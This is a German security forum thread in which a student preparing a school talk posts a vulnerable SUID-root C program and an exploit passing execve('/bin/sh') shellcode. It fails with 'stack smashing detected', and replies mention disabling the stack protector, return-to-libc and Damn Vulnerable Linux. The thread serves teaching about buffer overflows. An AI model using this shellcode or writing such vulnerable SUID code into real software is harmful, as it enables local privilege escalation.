| (In)security allgemein Sicherheit, Anonymität im Netz. Schutz und Maßnahmen. Prävention und Konzepte. Sicherheitsarchitekturen allgemein und auf der Netzwerkebene. |
Diskussion: Buffer Overflow - stack smashing detected im Forum (In)security allgemein, in der Kategorie Security Area; Hallöle, da ich in einer Woche in der Schule einen Vortrag über Buffer Overflows machen soll, beschäftige ich mich gerade ...
![]() |
| | #1 (permalink) | |
| Registriert seit: 30.05.07 ![]() Likes: 0 | Hallöle, da ich in einer Woche in der Schule einen Vortrag über Buffer Overflows machen soll, beschäftige ich mich gerade damit. Ich will unter anderem ein kleines Beispiel zeigen, das ich gerade vorbereite. Mein "unsicheres Programm" ist mit SUID-Bit ausgestattet und gehört dem Herrn Root. Code: // harmloses_programm.c
#include <stdio.h>
#include <string.h>
void unsichere_funktion(char *param) {
char variable[20];
strcpy(variable, param);
}
int main(int argc, char *argv[]) {
unsichere_funktion(argv[1]);
return(0);
} Und zwar mit diesem Programm (exploit.c): Code: // exploit.c
int main() {
system("./harmloses_programm \x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80");
return(0);
} Zitat:
Liebe Grüße Woosh | |
| | |
| | #2 (permalink) |
| Registriert seit: 17.04.06 ![]() Likes: 3 | Dieser Bufferoverflow funktioniert. Bufferoverflow - Payload ausführen 0x00-Problem Ist aber leider nur unter Windows, jedoch vor wenigen Tagen getestet und öffnet eine shell.
__________________ http://chm0815.blogspot.com |
| | |
| HaBOT | |
| |
| | #3 (permalink) |
| Registriert seit: 01.12.08 ![]() Likes: 0 | Liegt vermutlich am gcc-Parameter "-fno-stack-protector", bzw. SPP. Umgehen kannst du das afaik mit der "return 2 libc"-Methode. Ich würde dir empfehlen zu Demonstrationszwecken DVL zu verwenden (Damn Vulnerable Linux). Die dortigen Beispiele lassen sich gut ausführen, da sämtliche Sicherheitsfeatures abgeschaltet sind. Download gibts unter http://www.damnvulnerablelinux.org/ |
| | |
| | #4 (permalink) |
| Themenstarter Registriert seit: 30.05.07 ![]() Likes: 0 | Danke für eure Antworten ![]() Werde mir das mal ansehn. Ansonsten red ich mich darauf hinaus dass Linux einfach "viel zu sicher" ist und präsentiere nur die Theorie |
| | |
| | #5 (permalink) |
| Registriert seit: 17.04.06 ![]() Likes: 3 | Der Windowsbufferoverflow funktioniert auch nur wenn ohne Canaryflag gebaut wurde, DEP deaktiviert ist und das Wetter schön ist und sich hier im Forum ein paar Leute Mühe gegeben haben. Aber so ist das nunmal mit Bufferoverflows. Eigentlich auch gut so, sonst wäre eine Computernutzung ja kaum möglich.
__________________ http://chm0815.blogspot.com |
| | |
![]() |
| | |
| |
| Themen-Optionen | |
| Ansicht | |
| |
Ähnliche Themen | ||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| Forbidden Code: Beispielcode funktioniert nicht (Stack Overflow) | NBBN | Code Kitchen | 12 | 25.01.10 01:00 |
| Stack Overflow | harissa | Hacks & Crackmes | 0 | 12.11.07 18:35 |
| Buffer Overflow | MrNiceGuy | Code Kitchen | 4 | 07.06.05 12:56 |
| Buffer Overflow | ERit | Applikationen | 0 | 24.04.05 15:24 |
| Buffer Overflow? | Bananshake | (In)security allgemein | 13 | 12.02.02 19:40 |